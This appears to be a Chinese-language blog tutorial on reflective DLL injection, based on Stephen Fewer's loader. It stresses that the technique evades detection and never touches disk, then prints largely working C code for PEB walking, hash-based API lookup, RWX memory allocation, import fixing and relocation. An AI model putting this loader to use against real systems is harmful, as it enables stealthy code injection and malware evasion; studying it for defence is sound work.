(源码作者:(HarmanySecurity)Stephen Fewer)

0x01  反射Dll注入的优点

它没有以主机系统的任何方式(例如LoadLibrary和LoadLibraryEx)进行注册,因此在系统和进程级别上基本上都是不可检测的,并且反射DLL注入写入了较少的的shellcode,进一步降低被检测到的可能性。

它从不会接触到磁盘,直接从内存中写入加载到宿主进程。

 

0x02  注入过程(原理)

 反射Dll注入的过程分两大步,首先反射Dll注入将Dll从内存加载到宿主进程中。然后Dll将通过实现一个自实现的文件加载器程序来加载它自己(例如解析其导入表以及移到内存中的适当位置的重定位表修正),以满足dll的运行期望。然后,它就可以在宿主进程中,嗯,“参与”到宿主进程的“活动”中。

 

    流程:

    1.先将Dll映像文件(原始PE文件)写入到宿主进程空间当中

    2.reflectiveloader将首先计算imagede 的当前位置,以便后续加载自己。

    3.在宿主进程中查询Kernel32动态库,计算出三个函数的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc。

    4.reflectiveloader继续分配的内存中的连续区域,用于加载Dll.

    5.reflectiveloader将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域。

    6.reflectiveloader修正Dll中的导入表

    7.reflectiveloader修正Dll中的重定位表

    8.reflectiveloader加载工作完成后调用DLL入口点

 

0x03  加载Dll文件的reflectiveloader的关键流程具体实现

     (1)查询Kernel32动态库,计算出三个函数的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc:

     首先要获取PEB:

#ifdef _WIN64
	Peb = (PPEB)__readgsqword(0x60);
#else
#ifdef _WIN32
	Peb = (PPEB)__readfsdword(0x30);
#else 
#endif
#endif

  再通过PEB得到Kernel32动态库的地址,先看PEB的结构:

DeviceStateManager反射 反射dll_重定位

    看到0x18偏移处的成员PEB_LDR_DATA:

DeviceStateManager反射 反射dll_重定位_02

    其中的三个LIST_ENTRY链表,按照不同的顺序将当前进程加载的所有模块链接起来,遍历其中的任意一个LIST_ENTRY,都可以获得所有模块的基地址。

    再看这个LDR_DATA_TABLE_ENTRY的结构:

    

DeviceStateManager反射 反射dll_动态库_03

    通过PEB_LDR_DATA的和LDR_DATA_TABLE_ENTRY共有的三根链表,我们也能通过LDR_DATA_TABLE_ENTRY结构中的FULLDLLNAME成员得到模块名,用来确定kernel32模块,进一步得到模块基地址DllBase.

 

#define KERNEL32DLL_HASH				0x6A4ABC5B

Ldr = (ULONG_PTR)Peb->Ldr;

	LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((PPEB_LDR_DATA)Ldr)->InMemoryOrderModuleList.Flink;
	while (LdrDataTableEntry)
	{
	
		ModuleName = (ULONG_PTR)LdrDataTableEntry->FullDllName.Buffer;   //双字 

		ModuleNameLength = LdrDataTableEntry->FullDllName.Length;

		ModuleHashValue = 0;
		do
		{
			ModuleHashValue = ror((DWORD)ModuleHashValue);  
		
			if (*((BYTE *)ModuleName) >= 'a')   //转换为大写
				ModuleHashValue += *((BYTE *)ModuleName) - 0x20;
			else
				ModuleHashValue += *((BYTE *)ModuleName);
			ModuleName++;
		} while (--ModuleNameLength);

		//在目标进程中查询Kernel32动态库
		if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
		{
			//获得Kerner32.dll的模块地址
			ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];  //DllBase

  得到kernel32的基地址后,再步步为营,得到NT头,数据目录表,导出表,从而在导出表中查找三个函数LoadLibraryA,GetProcAddress,VirtualAlloc的地址:

if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
		{
			//获得Kerner32.dll的模块地址
			ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];  //DllBase


			ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);


			//有两个成员的结构体目录
			ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];


			//导出表地址
			ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);

	

			AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);


			AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
			NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
			IsLoop = 4;

			// loop while we still have imports to find
			while (IsLoop > 0&&NumberOfNames>0)
			{
				// compute the hash values for this function name
				HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames)));

				// if we have found a function we want we get its virtual address
				if (HashValue == LOADLIBRARYA_HASH || 
					HashValue == GETPROCADDRESS_HASH || 
					HashValue == VIRTUALALLOC_HASH ||
					HashValue == EXITTHREAD_HSAH)
				{
					// get the VA for the array of addresses
					AddressOfFunctions = (ModuleBase +
						((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);

					// use this functions name ordinal as an index into the array of name pointers
					AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));

					// store this functions VA
					if (HashValue == LOADLIBRARYA_HASH)
						LoadLibraryA = (REFLECTIVELOADER::LPFN_LOADLIBRARYA)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == GETPROCADDRESS_HASH)
						GetProcAddress = (REFLECTIVELOADER::LPFN_GETPROCADDRESS)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == VIRTUALALLOC_HASH)
						VirtualAlloc = (REFLECTIVELOADER::LPFN_VIRTUALALLOC)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
					else if (HashValue == EXITTHREAD_HSAH)
						ExitThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));

					// decrement our counter
					IsLoop--;
				}

				// get the next exported function name
				AddressOfNames += sizeof(DWORD);

				// get the next exported function name ordinal
				AddressOfNameOrdinals += sizeof(WORD);

				NumberOfNames--;
			}

  

 

    (2)继续分配的内存中的连续区域,用于加载Dll,将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域,内存粒度对齐各个节

// STEP 2: load our image into a new permanent location in memory...

	// get the VA of the NT Header for the PE to be loaded
	ImageNtHeaders = (RemoteBufferData + ((PIMAGE_DOS_HEADER)RemoteBufferData)->e_lfanew);

	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
	VirtualAddress = (ULONG_PTR)VirtualAlloc(NULL, 
		((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, 
		PAGE_EXECUTE_READWRITE);

	// we must now copy over the headers
	SizeOfHeaders = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfHeaders;


	v1 = (BYTE*)RemoteBufferData;
	v2 = (BYTE*)VirtualAddress;
	while (SizeOfHeaders--)
		*(BYTE *)v2++ = *(BYTE *)v1++;

  

// uiValueA = the VA of the first section
	ULONG_PTR ImageSectionHeader = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader + 
		((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.SizeOfOptionalHeader);

	// itterate through all sections, loading them into memory.
	NumberOfSections = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.NumberOfSections;
	while (NumberOfSections--)
	{
		// uiValueB is the VA for this section
		SectionVirtualAddress = (VirtualAddress + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->VirtualAddress);
		


		// uiValueC if the VA for this sections data
		SectionPointerToRawData = (RemoteBufferData + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->PointerToRawData);

		// copy the section over
		SizeOfRawData = ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->SizeOfRawData;

		while (SizeOfRawData--)
			*(BYTE *)SectionVirtualAddress++ = *(BYTE *)SectionPointerToRawData++;

		// get the VA of the next section
		ImageSectionHeader += sizeof(IMAGE_SECTION_HEADER);
	}

  

    (3)修正Dll中的导入表

            修改DLL的导入表,使这些被引入的函数能正常运行。

           PE文件的引入表是一个元素为IMAGE_IMPORT_DESCRIPTOR的数组。每一个被依赖的DLL都对应着数组中的一个元素。

           (导入表的解析请见:)

      

DeviceStateManager反射 反射dll_重定位_04

           

ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

	// we assume their is an import table to process
	// uiValueC is the first entry in the import table
	ImageImportDescriptor = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);


	while (((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name)
	{
		// use LoadLibraryA to load the imported module into memory
		ModuleBase = (ULONG_PTR)LoadLibraryA(
			(LPCSTR)(VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name));

		// uiValueD = VA of the OriginalFirstThunk
		OriginalFirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->OriginalFirstThunk);

		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
		FirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->FirstThunk);

		// itterate through all imported functions, importing by ordinal if no name present
		while (DEREFERENCE(FirstThunk))
		{
			// 索引导入
			if (OriginalFirstThunk && ((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
			{
				// get the VA of the modules NT Header
				ImageNtHeaders = ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew;
				
				
				ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
				
				// get the VA of the export directory
				ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
				// get the VA for the array of addresses
				AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);

				// use the import ordinal (- export ordinal base) as an index into the array of addresses
				AddressOfFunctions += 
					((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal) -
					((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->Base) * sizeof(DWORD));

				// patch in the address for this imported function
				DEREFERENCE(FirstThunk) = (ModuleBase + DEREFERENCE_32(AddressOfFunctions));
			}
			else
			{
				//修正名称导入的函数地址

				// get the VA of this functions import by name struct
				ImageImportByName = (VirtualAddress + DEREFERENCE(OriginalFirstThunk));
				// use GetProcAddress and patch in the address for this imported function
				DEREFERENCE(FirstThunk) = (ULONG_PTR)GetProcAddress((HMODULE)ModuleBase, 
					(LPCSTR)((PIMAGE_IMPORT_BY_NAME)ImageImportByName)->Name);
			}
			// get the next imported function
			FirstThunk += sizeof(ULONG_PTR);
			if (OriginalFirstThunk)
				OriginalFirstThunk += sizeof(ULONG_PTR);
		}
		// get the next import
		ImageImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
	}

  

 

    (4)修正重定位表

       数据目录表DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]指向的是重定位表(重定位表的解析请见:)

            

DeviceStateManager反射 反射dll_重定位_05

 

ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew;
	Diff = VirtualAddress - ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.ImageBase;


	//代表重定向表的目录
	ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

	// check if their are any relocations present
	if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size)
	{
		//定位到重定向表
		ImageBaseRelocation = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);

		// and we itterate through all entries...
		while (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock)
		{
			//重定向表中的word表
			v3 = (VirtualAddress + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->VirtualAddress);

			// uiValueB = number of entries in this relocation block
			ImageBaseRelocationItemCount = 
				(((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) 
				/ sizeof(IMAGE_BASE_RELOCATION_ITEM);

			// uiValueD is now the first entry in the current relocation block
			ImageBaseRelocationItem = ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION);

			// we itterate through all the entries in the current block...
			while (ImageBaseRelocationItemCount--)
			{
				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
				// we dont use a switch statement to avoid the compiler building a jump table
				// which would not be very position independent!
				if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_DIR64)
					*(ULONG_PTR *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) 
					+= Diff;
				
				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGHLOW)
					*(DWORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) 
					+= (DWORD)Diff;

				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGH)
					*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += 
					HIWORD(Diff);
			
				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_LOW)
					*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += LOWORD(Diff);

				// get the next entry in the current relocation block
				ImageBaseRelocationItem += sizeof(IMAGE_BASE_RELOCATION_ITEM);
			}

			// get the next entry in the relocation directory
			ImageBaseRelocation = ImageBaseRelocation + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock;
		}
	}